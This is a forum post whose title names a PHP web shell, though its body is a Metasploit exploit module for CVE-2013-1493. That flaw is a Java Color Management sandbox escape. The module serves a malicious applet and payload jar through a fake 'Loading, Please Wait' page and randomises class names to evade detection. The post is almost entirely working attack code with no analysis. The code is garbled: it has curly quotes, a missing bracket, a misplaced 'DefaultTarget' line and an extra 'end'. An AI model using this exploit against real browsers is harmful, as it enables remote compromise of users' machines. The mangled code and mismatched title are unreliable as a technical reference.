STUNSHELL PHP Web Shell远程执行代码

admin · 发表于 2013-4-4 17:31:17

##

# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require ‘msf/core’
require ‘rex’
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({ :javascript => false })
def initialize( info = {} )
super( update_info( info,
‘Name’ => ‘Java CMM Remote Code Execution’,
‘Description’ => %q{
This module abuses the Color Management classes from a Java Applet to run
arbitrary Java code outside of the sandbox as exploited in the wild in February
and March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41
and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1
systems. This exploit doesn’t bypass click-to-play, so the user must accept the java
warning in order to run the malicious applet.
},
‘License’ => MSF_LICENSE,
‘Author’ =>
'Unknown', # Vulnerability discovery and Exploit
'juan vazquez' # Metasploit module (just ported the published exploit)
],
‘References’ =>
[
[ 'CVE', '2013-1493' ],
[ 'OSVDB', '90737' ],
[ 'BID', '58238' ],
[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],
[ 'URL', 'http://pastie.org/pastes/6581034' ]
],
‘Platform’ => [ 'win', 'java' ],
‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },
‘Targets’ =>
[
[ 'Generic (Java Payload)',
{
'Platform' => 'java',
'Arch' => ARCH_JAVA
}
],
[ 'Windows x86 (Native Payload)',
{
'Platform' => 'win',
'Arch' => ARCH_X86
}
]
],
‘‘DisclosureDate’ => ‘Mar 01 2013′
))
end
def setup
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)
@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)
@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)
@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)
@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
@init_class_name = rand_text_alpha(“Init”.length)
@init_class.gsub!(“Init”, @init_class_name)
super
end
def on_request_uri(cli, request)
print_status(“handling request for #{request.uri}”)
case request.uri
when /\.jar$/i
jar = payload.encoded_jar
jar.add_file(“#{@init_class_name}.class”, @init_class)
jar.add_file(“Leak.class”, @leak_class)
jar.add_file(“MyBufferedImage.class”, @buffered_image_class)
jar.add_file(“MyColorSpace.class”, @color_space_class)
DefaultTarget’ => 1,
metasploit_str = rand_text_alpha(“metasploit”.length)
payload_str = rand_text_alpha(“payload”.length)
jar.entries.each { |entry|
entry.name.gsub!(“metasploit”, metasploit_str)
entry.name.gsub!(“Payload”, payload_str)
entry.data = entry.data.gsub(“metasploit”, metasploit_str)
entry.data = entry.data.gsub(“Payload”, payload_str)
}
jar.build_manifest
send_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })
when /\/$/
payload = regenerate_payload(cli)
if not payload
print_error(“Failed to generate the payload.”)
send_not_found(cli)
return
end
send_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })
else
send_redirect(cli, get_resource() + ‘/’, ”)
end
end
def generate_html
html = %Q|<html><head><title>Loading, Please Wait…</title></head>|
html += %Q|<body><center><p>Loading, Please Wait…</p></center>|
html += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|
html += %Q|</applet></body></html>|
return html
end
end
end

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